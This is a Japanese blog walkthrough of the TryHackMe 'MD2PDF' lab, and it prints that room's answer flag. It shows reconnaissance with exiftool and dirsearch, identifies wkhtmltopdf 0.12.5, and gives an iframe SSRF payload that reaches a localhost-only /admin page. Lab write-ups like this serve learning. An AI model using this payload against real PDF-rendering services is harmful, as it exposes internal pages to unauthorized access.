0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【TryHackMe】MD2PDF:Walkthrough

0
Last updated at Posted at 2026-04-29

概要

TryHackMe「MD2PDF」のWalkthroughです。

Task1

Q1.What is the flag?

80番ポートにアクセスすると、MarkDown形式をPDFに変換するサイトが表示されました。

image.png

試しにテキストを入力します。

image.png

右下のConvert to PDFボタンを押下すると、PDFに変換され出力されました。

image.png

出力されたPDFファイルをダウンロードし、メタデータを確認します。

$ exiftool document.pdf       
ExifTool Version Number         : 13.50
File Name                       : document.pdf
Directory                       : .
File Size                       : 15 kB
File Modification Date/Time     : 2026:04:24 03:33:04-04:00
File Access Date/Time           : 2026:04:24 03:33:04-04:00
File Inode Change Date/Time     : 2026:04:24 03:33:04-04:00
File Permissions                : -rw-rw-r--
File Type                       : PDF
File Type Extension             : pdf
MIME Type                       : application/pdf
PDF Version                     : 1.4
Linearized                      : No
Title                           : 
Creator                         : wkhtmltopdf 0.12.5
Producer                        : Qt 4.8.7
Create Date                     : 2026:04:29 08:03:35Z
Page Count                      : 1

wkhtmltopdf 0.12.5を使用してPDFに変換していると分かりました。
このバージョンではLFIやSSRF攻撃が可能なようです。

ディレクトリスキャンで/adminを発見しました。

$ dirsearch -u http://10.49.147.223/

[03:36:48] 403 -  166B  - /admin

/adminにアクセスすると、ローカルからのみアクセスできると分かりました。
SSRFを利用して確認できそうです。

image.png

ペイロードを入力し、PDFに変換します。

<iframe src="http://localhost:5000/admin"></iframe>

変換すると/adminにアクセスでき、フラグを入手できました。

image.png

A.flag{1f4a2b6ffeaf4707c43885d704eaee4b}

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?